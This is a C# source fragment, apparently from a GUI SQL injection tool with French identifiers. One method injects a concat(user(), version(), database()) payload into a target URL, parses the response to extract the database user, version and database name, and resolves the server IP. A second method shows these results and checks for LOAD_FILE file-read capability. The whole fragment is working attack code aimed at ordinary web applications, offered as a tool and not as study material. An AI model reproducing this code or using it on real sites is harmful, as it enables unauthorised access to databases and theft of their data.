public bool setInfos() { HttpRequete hr = new HttpRequete(); Outils oo = new Outils(); string url_g = _url_point.Replace(var_n, "concat(" + ch.getHex(separateur) + ",concat(user()," + ch.getHex(s_separateur) + ",version()," + ch.getHex(s_separateur) + ",database())," + ch.getHex(separateur) + ")"); string page = hr.get(url_g); if (page.Contains(separateur)) { string[] rslt = ch.extSubResult(s_separateur, ch.extResult(separateur, page)); string ip = oo.avoirip(_url_point.Split('/')[2]); setBD(rslt[2]); form_principale.groupBox4.Invoke((MethodInvoker)(() => { form_principale.txt_user.Text = rslt[0]; form_principale.txt_version.Text = rslt[1]; form_principale.txt_ipserveur.Text = ip; })); return(true); } else { return(false); } }
private void setResult(string page, string url_point) { string[] info = ch.extSubResult(s_separateur, ch.extResult(separateur, page)); string ip = oo.avoirip(url_point.Split('/')[2]); string loadfile = checkLoadFile(url_point).ToString(); form.groupInfoAnaluse.Invoke((MethodInvoker)(() => { form.label8.Visible = true; form.txt_urlPointSucces.Visible = true; form.btn_aller_dump.Visible = true; form.txt_urlPointSucces.Text = url_point; form.txt_LoadFileAnalyse.Text = loadfile; form.txt_userAnalyse.Text = info[0]; form.txt_versionAnalyse.Text = info[1]; form.txt_ipAnalyse.Text = ip; })); }